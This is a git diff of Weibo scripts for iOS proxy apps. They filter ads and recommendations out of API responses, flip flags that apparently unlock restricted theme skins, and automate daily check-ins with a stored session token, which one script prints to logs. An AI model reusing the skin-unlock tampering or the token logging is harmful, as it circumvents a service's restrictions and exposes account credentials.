6为你推荐更多精彩内容 15过滤提示 + if (item.type === 6 || item.type === 15) { + continue; + } + let adType = item.adType || ''; + if (delType.indexOf(adType) === -1) { + newItems.push(item); + } + } + log('remove 评论区相关和推荐内容'); + data.datas = newItems; +} + + +//处理感兴趣的超话和超话里的好友 +function containerHandler(data) { + if (mainConfig.removeInterestFriendInTopic) { + if (data.card_type_name === '超话里的好友') { + log('remove 超话里的好友'); + data.card_group = []; + } + } + if (mainConfig.removeInterestTopic && data.itemid) { + if (data.itemid.indexOf('infeed_may_interest_in') > -1) { + log('remove 感兴趣的超话'); + data.card_group = []; + } else if (data.itemid.indexOf('infeed_friends_recommend') > -1) { + log('remove 超话好友关注'); + data.card_group = []; + } + } +} + +//可能感兴趣的人 +function userHandler(data) { + data = removeMain(data); + if (!mainConfig.removeInterestUser) { + return data; + } + + if (!data.items) { + return data; + } + let newItems = []; + for (let item of data.items) { + let isAdd = true; + if (item.category === 'group') { + try { + if (item.items[0]['data']['desc'] === '可能感兴趣的人') { + isAdd = false; + } + } catch (error) { + } + } + if (isAdd) { + newItems.push(item); + } + } + data.items = newItems; + log('removeMain sub success'); + return data; +} + + +function nextVideoHandler(data) { + if (mainConfig.removeNextVideo) { + data.statuses = []; + data.tab_list = []; + console.log('nextVideoHandler'); + } +} + +function tabSkinHandler(data) { + try { + let iconVersion = mainConfig.tabIconVersion; + data['data']['canUse'] = 1 + if (!iconVersion || !mainConfig.tabIconPath) return; + if (iconVersion < 100) return; + + let skinList = data['data']['list'] + for (let skin of skinList) { + // if(skin.usetime) { + // skin['usetime'] = 330 + // } + skin['version'] = iconVersion; + skin['downloadlink'] = mainConfig.tabIconPath; + } + log('tabSkinHandler success') + } catch (error) { + log('tabSkinHandler fail') + } +} + + +function skinPreviewHandler(data) { + data['data']['skin_info']['status'] = 1 +} + + +// function unreadCountHandler(data) { +// let ext = data.ext_new; +// if(!ext) return; +// if(!ext.creator_task) return; +// ext.creator_task.text = ''; +// } + +function log(data) { + if (mainConfig.isDebug) { + console.log(data); + } +} + +/*********************************** API *************************************/ +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +/*****************************************************************************/ diff --git a/Scripts/weibo/weibo_signin.js b/Scripts/weibo/weibo_signin.js new file mode 100644 index 00000000..0a50b5c0 --- /dev/null +++ b/Scripts/weibo/weibo_signin.js @@ -0,0 +1,121 @@ +/** + * @author @fmz200 + * @date 2025-05-06 17:32 + * @function 微博每日签到,积分多了可以兑换现金 + * + * Loon: + * [Script] + * cron "0 8 * * *" script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_signin.js, timeout=60, tag=微博每日签到, img-url=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-00.png + */ + +const $ = new Env("微博签到"); + +const cache = $.getdata("fmz200_weibo_token"); +if (!cache) { + $.msg($.name, '❌ 请先获取微博签到数据'); + $.done(); +} + +let jsonData = JSON.parse(cache); + +startTasks().then(r => $.done()); + +async function startTasks() { + for (const item of jsonData) { + let userInfo = await getUserInfo(item.weibo_id, item.signin_url, item.headers); + if (!userInfo || userInfo.errno) { + console.log("通过URL获取的信息:" + userInfo); + $.msg('微博签到', `[${item.weibo_id}]签到失败,请重新获取签到URL`, ''); + continue; + } + + let username = userInfo.name || item.weibo_id; + let avatar = userInfo.avatar_hd || ''; + + let params = parseUrlParams(item.signin_url); + // console.log("params:" + params); + let token = `from=${params.from}&uid=${params.uid}&s=${params.s}&gsid=${params.gsid}`; + console.log("token:" + token); + // 每日签到 + const successSign = await singIn(token); + // 每日打卡 + // const successCard = await completeCard(token); + // 微博钱包 + // const successPay = await completePay(token); + + $.msg('微博签到', `[${username}]本次运行结果:${successSign}`, '', {'open-url': '', 'media-url': avatar}); + } + + $.done(); +} + +// 获取用户信息,不是必须的 +function getUserInfo(weiboId, signUrl, headers) { + const options = { + url: signUrl, + headers: headers + }; + + return $.http.get(options).then((resp) => { + console.log("用户信息:" + resp.body); + return JSON.parse(resp.body); + }).catch((err) => { + $.log("🔴请求失败!", err); + }); +} + +// 每日签到 +function singIn(token) { + let options = { + url: `https://api.weibo.cn/2/checkin/add?c=iphone&${token}`, + headers: { + 'User-Agent': `Weibo/52588 (iPhone; iOS 14.5; Scale/3.00)`, + } + }; + + return $.http.post(options).then((resp) => { + $.log("接收到响应体:" + resp.body); + let rsp_body = JSON.parse(resp.body); + let rspMsg; + if (rsp_body.status === 10000) { + rspMsg = `连续签到[${rsp_body.data.continuous}]天,本次收益[${rsp_body.data.title_style[0]}]积分` + } else if (rsp_body.errno === 30000) { + rspMsg = rsp_body.errmsg; + } else { + rspMsg = `每日签到: ${rsp_body.msg}` + } + return rspMsg; + }).catch((err) => { + $.log("🔴请求失败!", err); + }); +} + +function parseUrlParams(url) { + const result = {}; + // 步骤1:获取问号后的内容 + const start = url.indexOf('?'); + if (start === -1) return result; + + // 步骤2:分割参数段 + const query = url.slice(start + 1); + const pairs = query.split('&'); + + // 步骤3:遍历解析参数 + for (let pair of pairs) { + // 处理空值并分割键值 + const eqIndex = pair.indexOf('='); + if (eqIndex === -1) continue; + + const key = pair.substring(0, eqIndex); + const value = pair.substring(eqIndex + 1); + + // 解码并存储 + result[decodeURIComponent(key)] = decodeURIComponent(value.replace(/\+/g, ' ')); + } + console.log(result); + return result; +} + +//////////////////////////////// +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let 